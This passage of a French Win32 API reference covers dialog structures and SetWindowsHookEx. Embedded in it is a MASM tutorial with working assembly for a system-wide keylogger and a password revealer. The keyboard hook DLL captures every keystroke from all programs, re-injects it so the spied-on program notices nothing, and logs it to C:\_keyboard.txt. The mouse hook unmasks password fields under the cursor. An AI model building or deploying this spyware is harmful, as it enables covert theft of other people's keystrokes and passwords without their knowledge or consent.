         fonction de hook doit retourner un FALSE pour transmettre un message à la
         procédure de la DialogBx, ou TRUE pour renoncer au message.
lpTemplateName 	 Pointe sur à une chaîne de caractères terminée par un nul, laquelle est le nom
         du 'Template' (en ressource) de la DialogBox, ce Template prend la place du
         Template de la DialogBox standard. L'application peut utiliser la macro
         MAKEINTRESOURCE pour obtenir des ressources numérotées pour la DialogBox. Ce
         membre est uniquement utilisé si le membre 'Flags' contient le flag
         CF_ENABLETEMPLATE; sinon ce membre est ignoré.
hInstance 	 Identifie un bloc de données qui contient le Template (=son calibre=les
         éléments constituants qui caractérisent cette Box) de cette DialogBox indiqué
         par le membre lpTemplateName. Ce membre est seulement employé si le membre de
         'flags' contient le flag CF_ENABLETEMPLATE; autrement, ce membre est ignoré.
lpszStyle 	 Pointe sur un buffer, lequel contient les données de styles. Si le flag
         CF_USESTYLE est mis, la fonction ChooseFont utilise les données de ce buffer
         pour initialiser le Control de style. Lorsque l'utilisateur referme la
         DialogBox, la fonction ChooseFont recopie dans ce buffer la chaîne de
         caractères représentant le style.
nFontType 	 Spécifie le type de fonte choisie. Ce paramètre peut contenir une des
         valeurs suivante :

        Valeur 	 	   	 Signification

        SIMULATED_FONTTYPE 	 Indique que la fonte est simulée par le GDI.
        PRINTER_FONTTYPE 	 Indique que la fonte est une fonte d'imprimante.
        SCREEN_FONTTYPE 	 Indique que la fonte est une fonte d'écran.

nSizeMin 	 Indique la taille minimum qu'un utilisateur peut choisir. La fonction
         ChooseFont reconnaîtra uniquement ce paramètre si le flag CF_LIMITSIZE
         est mis.
nSizeMax 	 Indique la taille maximale qu'un utilisateur peut choisir. La fonction
         ChooseFont reconnaîtra uniquement ce paramètre si le flag CF_LIMITSIZE
         est mis.

Voir Aussi

ChooseFont, LOGFONT, MAKEINTRESOURCE


CHOOSECOLOR structure (Win32)

typedef struct {   /* cc */
    DWORD   lStructSize;
    HWND    hwndOwner;
    HWND    hInstance;
    DWORD   rgbResult;
    LPDWORD lpCustColors;
    DWORD   Flags;
    DWORD   lCustData;
    LPCCHOOKPROC lpfnHook;
    LPSTR   lpTemplateName;
} CHOOSECOLOR;
La structure CHOOSECOLOR contient les informations dont le système a besoin pour initialiser la DialogBox de 'choix de couleurs' définis par le système. Une fois que l'utilisateur a sélectionné une couleur, la DialogBox se referme et le système retourne les informations du choix de l'utilisateur vers cette structure.

Membre 	 	  Description

lStructSize 	  Est la taille de la structure (en octets).
hwndOwner 	  Identifie la fenêtre qui possède cette DialogBox (Son parent). Ce membre peut
          être n'importe quelle Handle valide appartenant à une fenêtre, ou bien un
          NULL si cette Common DialogBox ne possède aucun parent.
hInstance 	  Identifie un bloc de données qui contient le Template (=son calibre=les
          éléments constituants qui caractérisent cette Box) de cette DialogBox indiqué
          par le membre lpTemplateName. Ce membre est seulement employé si le membre
          de 'flags' contient le flag CC_ENABLETEMPLATE; autrement, ce membre est
          ignoré.
rgbResult 	  Spécifie la couleur qui est choisie initialement au moment de la création de
          la DialogBox. Cette valeur sera modifiée lorsque l'utilisateur aura
          sélectionné une nouvelle couleur dans la DialogBox. Lors de la création de
          la Box de couleur, si le flag CC_RGBINIT est mis dans le membre 'flags' et
          que la valeur de ce membre n'est pas parmi les couleurs disponibles, alors
          le système choisira la couleur disponible la plus proche. Si ce membre est
          NULL, la couleur initialement choisie est le noire.
lpCustColors 	  Pointe sur un tableau de 16 DWORDs, ce tableau contient les valeurs RGB
         des carrés  colorés de la DialogBox. Si l'utilisateur modifie ces couleurs,
         le système met à jour le tableau avec les nouvelles valeurs RGB. L'application
         doit sauvegarder ces valeurs pour les futurs appels de la fonction ChooseColor.
flags 	 	  Représente les Flags qui servent à initialiser cette DialogBox. Ce membre
         peut être une combinaison des valeurs suivantes :

         Valeur 	   	 Signification

         CC_ENABLEHOOK 	 	 Active la fonction de hook indiquée dans le membre
                      lpfnHook.
         CC_ENABLETEMPLATE 	 Fait que le système crée la DialogBox en employant le
                      Template de la DialogBox identifié par les membres
                     hInstance et lpTemplateName.
         CC_ENABLETEMPLATEHANDLE Indique que le membre hInstance identifie un bloc
                      de données qui contient le Template (le calibre)
                     d'une DialogBox chargée précédemment. Le système
                     ignore le membre lpTemplateName si ce flag est
                     spécifié.
         CC_FULLOPEN 	 	 Fait que la DialogBox apparaît dans sa totalité
                      lorsqu'elle sera créée, ça inclue la partie qui
                     permet à l'utilisateur de créer des couleurs Custom
                     (la partie de la boite des dégradés de couleurs).
                     Sans ce flag, l'utilisateur doit choisir les
                     "couleurs Traditionnnels prédéfinies...".
         CC_PREVENTFULLOPEN 	 Désactive le bouton de la partie "Dégradés de
                      Couleurs...", ce qui empêche l'utilisateur de créer
                     des couleurs Custumisables.
         CC_RGBINIT 	  	 Fait que la DialogBox utilise la couleur indiquée dans
                      le membre rgbResult en tant que choix initial de
                     couleur.
         CC_SHOWHELP 	 	 Fait que la DialogBox affiche un bouton d'Aide. Le
                      membre hwndOwner ne doit pas être NULL si cette option
                     est spécifiée.

lCustData 	 Sont des données définies dans l'application que le système passe à la
         fonction de hook identifiée par le membre lpfnHook. Le système passe ces
         données dans le paramètre lParam du message WM_INITDIALOG.
lpfnHook 	 Pointe sur une fonction de hook, laquelletraite les messages destinés à la
         DialogBox. L'application doit spécifier le flag CC_ENABLEHOOK dans le membre
         'flags' pour activer la fonction; Sinon le système ignore ce membre. La
         fonction de hook doit retourner FALSE pour transmettre un message à la
         procédure de la DialogBox des couleurs standards, ou TRUE pour renoncer
         au message.
lpstrTemplateName Pointe sur une chaîne de caractères terminée par un nul de terminaison, cette
         chaîne  est le nom de la ressource Template de DialogBox.Si ce paramètre est
         non NULL ce Template prend la place du Template de la DialogBox standard.
         L'application peut utiliser la macro MAKEINTRESOURCE pour des ressources de
         DialogBox numérotées. Ce membre est uniquement utilisé si le membre 'flags'
         spécifie le flag CC_ENABLETEMPLATE; sinon ce membre est ignoré.

Voir Aussi

ChooseColor, MAKEINTRESOURCE, RGB


CBTACTIVATESTRUCT (Win32)

typedef struct tagCBTACTIVATESTRUCT { /* cas */
    BOOL    fMouse;
    HWND    hWndActive;
} CBTACTIVATESTRUCT;

La structure CBTACTIVATESTRUCT contient l'information à passer à une fonction de hook WH_CBT
avant qu'une fenêtre ne soit activée.

Membre 	   	 Description

fMouse 	 	 Spécifie si la fenêtre est activée suite à un clic de la  souris. Cette valeur
         est  TRUE pour  indiquer qu'un clic souris a bien provoqué l'activation;
         autrement, cette valeur est FALSE.
hWndActive 	 Identifie la fenêtre qui vient d'être activée.

Voir Aussi

SetWindowsHookEx


CBT_CREATEWND (Win32)

typedef struct tagCBT_CREATEWND { /* cbtcw */
    LPCREATESTRUCT lpcs;
    HWND           hwndInsertAfter;
} CBT_CREATEWND;

La structure CBT_CREATEWND contient l'information a passer à une fonction de hook WH_CBT avant
qu'une fenêtre ne soit créée.

Membre 	 	 Description

lpcs 	 	 Pointe sur une structure de données CREATESTRUCT, laquelle contient des
         paramètres d'initialisation pour la fenêtre étant sur le point d'être créé.
hwndInsertAfter  Identifie la fenêtre dans la liste du manager de fenêtres qui précédera la
         fenêtre nouvellement créée.

Voir Aussi

CBTProc, SetWindowsHookEx


PROCESS_INFORMATION (Win32)

typedef struct _PROCESS_INFORMATION { /* pi */
    HANDLE hProcess;
    HANDLE hThread;
    DWORD dwProcessId;
    DWORD dwThreadId;
} PROCESS_INFORMATION

Membre 	 	 Description

hProcess 	 Renvoie le handle du process nouvellement créé. A travers ce handle, on permet
         toutes opérations sur des objets appartenant à ce process.
hThread 	 Renvoie le handle du lien nouvellement créé. A travers ce handle, on permet
         toutes opérations sur des objets appartenant à ce lien.
dwProcessId 	 Renvoie le n°ID (global) d'un process, lequel peut être utilisé en tant
         qu'identificateur de ce process. Cette valeur est valide dès le moment où le
         process est créé jusqu'à ce que le process soit terminé.
dwThreadId 	 Renvoie le n°ID (global) d'un lien , lequel peut être utilisé en tant
         qu'identificateur de ce lien. Cette valeur est valide dès le moment où ce lien
         est créé jusqu'à ce qu'il soit terminé.

Voir Aussi

CreateProcess


KeyboardHook & MouseHook

Ce programme enregistre tout ce que vous tapez au clavier dans le fichier C:\_keyboard.txt et la souris décrypte les mots de passe des champs de texte du type *******.

I - Généralité sur les hooks
II - MouseHook
III - KeyboarHook

Les Fonctions

P.S. Tous les sources Hook sont regroupés dans ce fichier Rar

Introduction :

Il y a de fortes probabilités pour que vous sachiez ce qu'est un hook. Pour les autres, ce sont des procédés qui permettent à un programme de s'accrocher à un autre et ainsi le manipuler. Ils permettent par exemple de capturer les textes des Controls d'un autre programme quand la souris survole ces Controls (Controls = boutons, zone de saisie de texte, ....). Il permettent aussi de capturer ce que vous tapez au clavier... Mais ça va au-delà de ça. Souvent ils sont utilisés pour capturer des informations provenant d'autres programmes, mais ils sont en réalité capables d'envoyer des informations à ces mêmes programmes.

Communication Normale à l'intérieur d'un programme :
-------------------------------------------------------------------------------------
| |
| FRAPPE Message dans file Affichage de la |
| CLAVIER -----------> D'attente des messages -------------> lettre à |
| Afin d'être traité l'écran |
------------------------------------------------------------------------------------

Interception des messages par un hook
-------------------------------------------------------------------------------------
| |
| FRAPPE Message dans file Affichage de la | le 'o' est l'action de capturer
| CLAVIER ---o------> D'attente des messages -------------> lettre à |
| | Afin d'être traité l'écran |
-----------------|-------------------------------------------------------------------
|
-----------------|--------------------------------------------------------------
| PROG | Capture du message On en fait ce |
| ESPION -----+-------> Et mise en attente dans----------->qu'on souhaite |
| la file d'attente de hook |
--------------------------------------------------------------------------------

I - Généralité sur les hooks :

Les hooks les plus courant ont besoins d'être codés à part du programme principal, on les met très souvent dans une dll qui ne sert que pour eux. Il est cependant possible de les utiliser dans le programme lui-même, mais si ma mémoire est bonne, le hook reste alors local à ce programme.
Puisqu'ils ont besoin d'une dll, vous devrez vous rappeler ou rechercher comment ces petites bêtes fonctionnent. En un bref cours de rattrappage on peut dire que, pour que le programme principale puisse utiliser les fonctions que sa dll lui met à disposition, ces fonctions doivent être déclarées dans un fichier *.def pour être exportées.
Si par exemple votre dll se nomme MaSimpleDLL, et contient les deux fonctions (procédures) suivantes :

PremiereFonction proc var1:DWORD, var2:BYTE
....
ret
PremiereFonction endp

SecondeFonction proc var3:SWORD
....
ret
SecondeFonction endp

Alors votre fichier *.def allant de pair avec votre pré-code dll (MaSimpleDLL.asm) sera le suivant :

LIBRARY MaSimpleDLL
EXPORTS
PremiereFonction
SecondeFonction

Et dans votre programme principal doit se trouver les prototypes de ces 2 fonctions pour qu'ils puissent s'en servir :
PremiereFonction PROTO :DWORD, :BYTE
SecondeFonction PROTO :SWORD

II - MouseHook :

Il est de loin le plus simple des deux.

Code du Programme
...
...
     include MonHook.inc	; hook du clavier et Souris (dll)
     includelib MonHook.lib 	; hook du clavier et Souris (dll)
...
...
    ID_HOOKMOUSE		equ 2001	;
    ID_UNHOOKMOUSE		equ 2002	;
...
...
        .elseif ax==ID_HOOKMOUSE			;*
        invoke InstallHookMouse,hWnd		;*
                            ;*
        .elseif ax==ID_UNHOOKMOUSE			;*
        invoke UninstallHookMouse		;*
...
...

Le ' include MonHook.inc' est en fait un simple fichier où j'ai mis les prototypes des fonctions de la dll. On en a déjà parlé plus haut .

'ID_HOOKMOUSE' et 'ID_UNHOOKMOUSE' sont les n°ID du menu de la fenêtre, en cliquant dessus on appelle les deux fonctions qui soit déclanchent soit stoppent le hook souris. Ces fonctions sont celles exportées par la dll.
Pour la suite c'est donc la dll qui prend la main.

Code de la dll

    InstallHookMouse proc hwnd:DWORD
        push hwnd
        pop hWnd
        invoke SetWindowsHookEx,WH_MOUSE,addr MouseProc,hInstance,NULL
        mov hHookM,eax
        ret
    InstallHookMouse endp
Cette procédure installe donc le hook souris. En réalité c'est l'API SetWindowsHookEx qui se charge de ça. On spécifie que ce hook s'applique à la souris grâce à WM_MOUSE on donne ensuite l'adresse de la procédure CallBack.
Cette procédure c'est exactement l'équivalent de la procédure WndProc. WndProc est appelée à chaque fois qu'un Message Windows (WM_....) est présent dans la file d'attente des messages. WndProc agit alors en fonction du message reçu.

MouseProc tout comme WndProc est une procédure CallBack. Ce genre de procédure (ou fonctions) sont appelées dès qu'un événement intéressant à vos yeux est reçu. Ces fonctions ne sont absolument pas définit par Microsoft. Elles ne pocèdent pas de Prototype particulier et ce qu'elles doivent effectuer intérieurement est à votre entière charge.

SetWindowsHookEx va hooker (s'accrocher) à tous les programmes en cours car son dernier membre est NULL.

Code de la dll
    MouseProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD

        invoke CallNextHookEx,hHookM,nCode,wParam,lParam
        mov edx,lParam					;edx reçoit les coordonnées de la souris
        assume edx:PTR MOUSEHOOKSTRUCT
        invoke WindowFromPoint,[edx].pt.x,[edx].pt.y	;on récupère le handle de la fenêtre
        assume edx:nothing				;sur laquelle pointe la souris

        mov wParam, eax
        invoke	GetWindowLongA, wParam, GWL_STYLE
        test eax, ES_PASSWORD

        jz Ce_Nest_Pas_Un_Champs_Password

                invoke	SendMessage, wParam, EM_SETPASSWORDCHAR, 0, 0
                invoke	InvalidateRect, wParam, 0, 0

        Ce_Nest_Pas_Un_Champs_Password:

        xor eax,eax
        ret
    MouseProc endp
Tous comme les Messages Windows dans la file d'attente des messages, les événements de hook sont placés dans une file d'attente de hook.
CallNextHookEx va récupérer le prochain hook de la file d'attente. Trois informations sont récupérées, d'abord le code du hook, puis deux sous-informations qui dépendent du type de hook installé. Ici puisqu'il s'agit d'un hook souris, lParam contient les coordonnées de la souris. On ne se sert pas des deux autres paramètres (nCode et wParam). wParam aurait pu être utilisé pour connaître l'état des boutons de la souris mais ce n'est pas notre problème ici.

Dans le bout de code ci-dessus, on récupère donc les coordonnées de la souris et on les sauve dans la structure MOUSEHOOKSTRUCT prévue à cet usage. On retrouve ensuite le Handle de la fenêtre qui se situe sous ces coordonnées. En fait ce n'est pas seulement de la fenêtre qu'il s'agit, si la souris survole un Common Control (un Bouton, une zone d'édition de texte...) se sera son handle à lui qui sera récupéré.
Ensuite grâce à la fonction GetWindowLongA on récupère le style de cet élément survolé. Et on regarde si il est ou non du style ES_PASSWORD qui est le style des zones d'Edition de type mot de passe ******.
Si c'est le cas, on lui retourne le même style (zone d'édition cryptée) mais comme argument on lui donne '0'. Normalement il faut lui passer un caractère comme '*' ou bien autre '?' ..... pour que ce signe de cryptage sois celui pris en compte. Le fait de lui envoyer '0' ne remplace les lettres par aucun signe particulier et donc à pour effet de le décrypter.

Arrive la fin de cette procédure CallBack et le hook se poursuit tant qu'on appelle pas la fonction de désinstallation du hook souris : UninstallHookMouse qui ne prend comme argument que le handle du hook de la souris définit au moment de de son installation.

III - KeyboarHook :

Code du Programme

...
...
     include MonHook.inc	; hook du clavier et Souris (dll)
     includelib MonHook.lib 	; hook du clavier et Souris (dll)
...
...
    ID_HOOKKEYBOARD         equ 1001	;
    ID_UNHOOKKEYBOARD       equ 1002	;
...
...
    .if ax==ID_HOOKKEYBOARD			;*
        invoke  InstallHookKeyboard,hWnd;* le hook est lancé
                        ;*
    .elseif ax==ID_UNHOOKKEYBOARD		;*
        invoke  UninstallHookKeyboard	;* le hook est terminé
...
...
Comme précédemment, le ' include MonHook.inc' est en fait un simple fichier où j'ai mis les prototypes des fonctions de la dll.

'ID_HOOKKEYBOARD' et 'ID_UNHOOKKEYBOARD' sont les n°ID du menu de la fenêtre, en cliquant dessus on appelle les deux fonctions qui soit déclanchent soit stoppent le hook clavier. Ces fonctions sont celles exportées par la dll.
Pour la suite c'est donc la dll qui prend la main.

Code de la dll

    InstallHookKeyboard proc hwnd:DWORD
        push hwnd
        pop hWnd
        invoke SetWindowsHookEx,WH_KEYBOARD,addr KeyboardProc,hInstance,NULL
        mov hHook,eax
        ret
    InstallHookKeyboard endp

Cette procédure installe donc le hook clavier. C'est l'API SetWindowsHookEx qui se charge de ça en réalité. On spécifie que ce hook s'applique au clavier grâce à WM_KEYBOARD on donne ensuite l'adresse de la procédure CallBack qui va gérer les événements clavier présent dans la file d'attente de hook (clavier). Et oui, il y a en réalité deux file d'attente de hook, une pour les événement souris, l'autre pour les événements clavier.

On entre maintenant dans la procédure de hook KeyboardProc.

Code de la dll

    ;---------------------------------------------------------------------------------------
    KeyboardProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
        invoke CallNextHookEx,hHook,nCode,wParam,lParam			; Intercepte le code de la touche enfoncée

        ; wParam est le Virtual-key Code de la touche frappée
        ; lParam son context, comme est-ce que ALT est enfoncé en même temps.

        invoke FindWindow, addr ClassName, NULL
        mov hwnd_Prog_exe, eax

            invoke	SendMessage, hwnd_Prog_exe, WM_KEYHOOKED, wParam, lParam
                                        ; wParam est le code de cette touche (ex : 65h ='a')
                                        ; lParam contient plusieurs autres info comme
                                        ; le nb de répétitions, les associations (SHIFT+touche)
            invoke  GetActiveWindow					; je récupère le handle de la fenêtre active (celle qui est en train de se faire espionner)
            invoke	SendMessage, eax, WM_CHAR, wParam, lParam	; et je lui réinjecte le message que j'avais intercepté (Sinon rien ne va s'écrire à l'écran)
                                        ;
            mov eax, eax
        ret
    KeyboardProc endp
    ;---------------------------------------------------------------------------------------

Comme précédemment, SetWindowsHookEx à installée un hook à l'attention de tous les programmes, mais cette fois ci il concerne le clavier. Donc quand une touche du clavier est pressée le hook est mis dans la file d'attente des hooks clavier et maintenant CallNextHookEx vient l'extraire de la file d'attente.
nCode est code du hook, wParam est le code virtuel de la touche et lParam le context de cette touche. Le context est en réalité bien compliqué. Il défini par exemple si la touche SHIFT ou CTRL .... est pressée en même temps que votre touche quelconque. Ce qui permet de faire la différence entre un 'a' et un 'A' par exemple. Car le code virtuel d'une touche est identique pour les deux, seul le context permet de faire la part des choses donc. Le context comprend bien d'autres informations comme le nombre de répétitions de la touche avant son relâchement.

Comment sont traitées les données dans cette procédure...
CallNextHookEx comme on l'a vu récupère le code virtuel et le context de la touche tapée (dans n'importe quel programme).
SendMessage envoie le message WM_KEYHOOKED vers le programme principal. C'est pour ça que j'ai besoin juste avant de la fonction FindWindow pour retrouver le handle de mon prog principal. Le message WM_KEYHOOKED quant à lui est un message qui n'exite pas par avance dans Masm, c'est donc un message créé sur mesure par moi-même (voir le haut de la dll). Puisque je l'envoie au programme principal, il doit également être définit dans mon programme principal.
Ce n'est pas ce message en lui-même qui est important, ce sont les paramètres qui lui sont associés wParam et lParam qui contiennent le code virtuel de la touche et son context. Ainsi j'ai fait transiter ces données de la dll vers le programme principal.

Maintenant, il faut savoir que lorsqu'on installe un hook, il intercepte des messages pour les mettre dans sa file d'attente de hook au lieu de les laisser aller dans la file d'attente des messages du programme que l'on ponctionne. Il faut donc faire en sorte de redistribuer les données interceptées vers la bonne fenêtre, celle active à l'écran. Ainsi je retrouve le handle de la fenêtre active avec GetActiveWindow et grâce à SendMessage je lui redonne le code virtuel de la touche et son context (avec le message WM_CHAR puisqu'il s'agit bien d'un message concernant des caractères.)

Le programme qui s'est fait intercepter ses messages clavier ne s'est donc aperçu de rien et notre programme principal à lui aussi récupéré les mêmes données à son propre compte.

Revenons alors au programme principal, qui reçoit de la dll le message WM_KEYHOOKED et les paramettres de la touche pressée.

...
    .elseif uMsg == WM_KEYHOOKED    			; signifie que c'est mon hook qui a intercepté puis posté cette frappe clavier
                mov eax, lParam				;
                    and eax, 10000000000000000000000000000000b ; 80000000h regarde si le bit n°31 (0-31) est à 1 (0=touche enfoncée, 1=touche relâchée)
                    .if eax==0h                		; si ce byte est 00h c'est que la touche vient d'être enfoncée
                          invoke ecrireFichier, wParam	; wParam contient le code de la touche tapée (ex: 65 décimal='A')
                    .endif
...
...

lParam étant le contexte de la touche tapée, on va d'abord regarder si elle est ou non enfoncée. Pour ça, la doc de la fonction CallBack 'KeyboardProc' dit que lorsqu'une touche est pressée, le 32e bit (donc le bit n°31 puisqu'on commence au bit n°0) du paramètre lParam est mis à 0 et remis à 1 quand elle est relâchée. C'est donc ce qui est vérifié avec le 'and eax, 1000.......'. La fonction logique AND transmet un 1 seulement si les deux composants comparés présentent ensemble un 1 pour une même position. Puisque tout est mis à 0 sauf le bit n°31, alors quoi qu'il arrive les résultats resteront toujours à zéro sauf pour ce bit n°31 qui dépendra du bit de lParm.
Si le bit 31 de lParam est 0 alors l'instruction 'AND' retournera zéro et on saura qu'une touche est enfoncée.
Alors seulement on entre dans la procédure ecrireFichier en lui passant wParam qui est toujours le code virtuel de la touche.

;------------------COPIE DU TEXTE ESPIONNÉ DANS UN FICHIER .TEXTE-------------------------------
ecrireFichier proc lettre:DWORD
        LOCAL hFichier			:HANDLE
        LOCAL nb_carac			:DWORD
        LOCAL rentrer			:BYTE
    LOCAL reel_lu_ecrit		:DWORD
    LOCAL tableau256byte[256]	:BYTE
    LOCAL layout			:DWORD
    LOCAL vk			:DWORD
    LOCAL lettreAcopier[10]		:BYTE
    LOCAL delete			:DWORD

    jmp data_locales
        NomFichier		db "c:\_keyboard.txt",0
    data_locales:

    mov nb_carac, 1
    inc delete
    cmp delete,0
    jl pluspetitzero
             mov delete, 0
    pluspetitzero:

    ;#################################################
    ; Après que la DLL aie capturée le code des touches tapées par l'utilisateur, elle renvoie au
    ; programme principal le code virtuel de la touche (VIRTUAL-KEY CODE). Cependant le
    ; Virtual-Key Code est le même pour les touches majuscules et minuscule. Pas de différence entre
    ; 'a' et 'A'. Donc ici je regarde en plus les états de SHIFT, CAPSLOCK et AUTRES et si elles NE
    ; SONT PAS en action, alors on ajoute la valeur 32 décimale pour passer de 'A'=65 à 'a'=97 et
    ; ainsi de suite. (par défaut on obtient toujours des codes en majuscule)

    invoke GetKeyboardLayout, 0
    mov layout, eax
    invoke GetKeyboardState, addr tableau256byte
    invoke MapVirtualKeyEx, lettre, 2, layout
    mov vk, eax
    invoke ToAsciiEx, vk, lettre, addr tableau256byte, addr Buffer, 0, layout
    ; en retour 'Buffer' contient un caractère comme 'a' ou 'A'

    mov nb_carac, 1

    mov eax, dword ptr [Buffer]			; la lettre tapée est mise dans eax (dans al en fait)
    mov rentrer, TRUE

    .if al==0Dh					; C'est la touche Enter
        mov nb_carac, 2
        mov word ptr [lettreAcopier],0A0Dh

    .elseif al==08h					; c'est la touche delete (arrière)
        sub delete, 2
        mov rentrer, FALSE

    .elseif al==2Eh					; c'est la touche suppr (avant)
        ;sub delete, 2

    .elseif al==25h					; c'est la touche déplacement (arrière)
        sub delete, 2
        mov rentrer, FALSE

    .elseif al==VK_SHIFT || al==VK_CAPITAL		; SHIFT ou CAPSLOCK
        mov rentrer, FALSE

    .elseif al==VK_MENU				; c'est la touche ALT
        mov nb_carac, 5
        mov dword ptr [lettreAcopier],'TLA<'
        mov byte ptr [lettreAcopier+4],'>'

    .elseif (lettre>=65d && lettre<=90d) || \	; les lettre de 'a' à 'z' et de 'A' à 'Z'
        (lettre>=30h && lettre<=39h)		; les chiffres de '0' à '9' du clavier Alpha
        mov byte ptr [lettreAcopier], al

    .elseif (lettre>=60h && lettre<=69h) 		; les chiffres de '0' à '9' du pavé numérique.
        mov eax, lettre
        sub eax, 30h
        mov byte ptr [lettreAcopier], al

    .elseif (lettre>=32d && lettre<=47d)
        mov byte ptr [lettreAcopier], al

    .else
        mov rentrer, FALSE
    .endif
    ;############################################

    invoke CreateFile, addr NomFichier,\
                           GENERIC_READ or GENERIC_WRITE ,\
                           FILE_SHARE_READ or FILE_SHARE_WRITE,\
                           NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,\
                           NULL

        mov hFichier, eax
        invoke SetFilePointer, hFichier, delete, 0, SEEK_END
        invoke OpenFile, ADDR NomFichier, NULL, OF_READWRITE
        invoke WriteFile, hFichier, addr lettreAcopier, nb_carac, addr reel_lu_ecrit, NULL
        invoke CloseHandle, hFichier

Ret
ecrireFichier endp
;----------------FIN COPIE DU TEXTE ESPIONNÉ DANS UN FICHIER .TEXTE-----------------------------

C'est donc 'lettre' qui reçoit le code virtuel de la touche qui était dans wParam. Souvenez-vous le code virtuel d'une touche est identique pour 'a' et pour 'A' et ainsi de suite. Et par défaut les codes sont ceux des majuscules. Donc si vous inscrivez directement les lettres interceptés dans un fichier *.txt, elles seront toutes en majuscules.

Il nous faut traduire les VirtualKey-Code en ScanCode qui sont la vraie représentation unique des touches.

La fonction GetKeyboardLayout retouve le type de clavier utilisé par votre programme (par le thread en réalité)
Chaque touche (chaque ScanCode donc 'a' != 'A') du clavier possède sa propre valeur et possède sa propre place dans une table de 256 éléments (de type BYTE).
Chaque case de ce tableau contient donc la valeur associée à une touche mais chaque clavier possède sa propre table. C'est pour ça qu'on appelle cette fonction, pour retrouver la bonne table de 256 éléments.

La fonction GetKeyboardState recopie le contenu de cette table dans un buffer. Le buffer est donc une représentation électronique de l'état du clavier réel.

La fonction MapVirtualKeyEx tranduit le code virtuel de la touche pressée (mis dans lettre) en son équivalent ScanCode d'après la convention du clavier utilisé. Cette fonction permet également de faire le travail inverse.

La fonction ToAsciiEx traduit la touche en un véritable caractère utilisable par Windows d'après son VirtualKeyCode et son état.

Maintenant, pour ce qui est du reste, ça dépend de vous. Vous pouvez inscrire ce caractère dans un fichier texte ou en faire ce qu'il vous plaira. Vous pouvez aussi implémenter un Système qui prenne en compte les touches Suppr, Del et autres caractères non imprimables mais indispenssables.

Sachez pour finir que pour cet exemple toutes les touches capturées sont sauvegardées dans le fichier : C:\_keyboard.txt

Voir aussi : SetWindowsHookEx CallNextHookEx MouseProc KeyboardProc

Par Morgatte


SetWindowsHookEx (Win32)

HHOOK SetWindowsHookEx(idHook, hkprc, hMod, dwThreadID)

int idHook;	/* type de hook à installer */
HOOKPROC hkprc;	/* adresse de la procédure de hook */
HANDLE hMod;	/* handle de l'Instance de l'application */
DWORD dwThreadID;	/* lien du hook à installer */
La fonction SetWindowsHookEx installe une procédure de hook dans une chaîne de hook. Une application installe une procédure de hook pour que le système espionne certains types d'événements. Une procédure de hook peut espionner des événements associés soit à un lien spécifique soit de tous les liens présents.

Paramètre 	 Description

idHook 	 	 Spécifie le type de procédure de hook à installer. Ça peut être unes des
         valeurs suivantes :

         Valeur 	 Signification

         WH_CallWndProc	 Installe une procédure de hook laquelle espionne les messages
                  envoyés à une procédure de fenêtre. Pour plus d'informations,
                 voyez la description de la procédure de hook CallWndProc.
         WH_CBT		 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles pour une application (CBT). Pour plus
                 d'informations, voyez la description de la procédure de hook
                 CBTProc.
         WH_DEBUG	 Installe une procédure de hook, laquelle est utile pour
                  débugger des procédures de hook. Pour plus d'informations,
                 voyez la description de la procédure de hook DebugProc.
         WH_GETMESSAGE	 Installe une procédure de hook, laquelle espionne les
                  messages qui sont postés dans une file d'attente des messages.
                 Pour plus d'informations, voyez la description de la procédure
                 de hook GetMsgProc.
         WH_JOURNALPLAYBACK	  Installe une procédure de hook, laquelle poste des
                  messages qui ont été précédemment enregistrés par une
                 procédure de hook WH_JOURNALRECORD. Pour plus d'informations,
                 voyez la description de la procédure de hook
                 JournalPlaybackProc.
         WH_JOURNALRECORD Installe une procédure de hook, laquelle enregistre des
                  messages d'entrée postés dans la file d'attente des messages.
                 Ce hook est utile pour les macros Recording. Pour plus
                 d'informations, voyer la description de la procédure de hook
                 JournalRecordProc.
         WH_KEYBOARD	 Installe une procédure de hook, laquelle espionne les messages
                  de frappe (clavier). Pour plus d'informations, voyez la
                 description de la procédure dehook KeyboardProc.
         WH_MOUSE	 Installe une procédure de hook qui espionne les messages
                  souris. Pour plus d'informations, voyez la description de la
                 procédure de hook MouseProc.
         WH_MSGFILTER 	 Installe une procédure de hook, laquelle contrôle les
                  messages produits suite à un événement d'entrée dans une
                 DialogBox, une MessageBox, un Menu, ou une Barre de Défilement.
                 La procédure de hook espionne uniquement les messages de
                 l'application qui a installé la procédure de hook. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 MessageProc.
         WH_SHELL	 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles à l'applications Shell. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 ShellProc. WH_SYSMSGFILTER Installe une procédure de hook,
                 laquelle espionne les messages produits suite à un événement
                 d'entrée dans une DialogBox, une MessageBox, un Menu, ou une
                 Barre de Défilement. La procédure de hook espionne absolument
                 tous les messages des applications dans le système. Pour plus
                 d'informations, voyez la description de la procédure de hook
                 SysMsgProc.

hkprc 	 	 Pointe sur  la procédure de hook. Si le paramètre dwThreadID est NULL ou
         représente le n°ID d'un lien créé par un process différent, le paramètre
         hkprc doit pointer sur une procédure de hook appartenant à une bibliothèque de
         liaison dynamique (DLL). Autrement, le paramètre hkprc peut pointer sur une
         procédure de hook appartenant au process actuel.

hMod 	 	 Identifie la DLL contenant la procédure de hook pointée par le paramètre hkprc.
         Le paramètre hMod doit être mis à NULL si le paramètre dwThreadID représente un
         lien créé par le process actuel et que la procédure de hook se trouve dans le
         process actuel.

dwThreadID 	 Est le n°ID du lien avec lequel la procédure de hook doit être associée. Si ce
         paramètre est NULL, la procédure de hook est associée à tous les liens
         existants.

Retours
Une erreur peut arriver si le paramètre hMod est NULL et que le paramètre dwThreadId est NULL aussi ou bien si il représente d'un lien créé par un autre process.

Voir Aussi

CallNextHookEx, UnhookWindowsHookEx


hook souris

.386
.model flat, stdcall		; model de mémoire plate 32 bit
option casemap :none		; pas de distinction entre minuscules et majuscules

      include \MASM32\INCLUDE\windows.inc
      include \MASM32\INCLUDE\user32.inc
      include \MASM32\INCLUDE\kernel32.inc

      includelib \MASM32\LIB\user32.lib
      includelib \MASM32\LIB\kernel32.lib

      include     MonHook.inc                ; hook du clavier (dll)
      includelib  MonHook.lib                ; hook du clavier (dll)

    WinMain 	PROTO :DWORD,:DWORD,:DWORD,:DWORD
    WndProc 	PROTO :DWORD,:DWORD,:DWORD,:DWORD
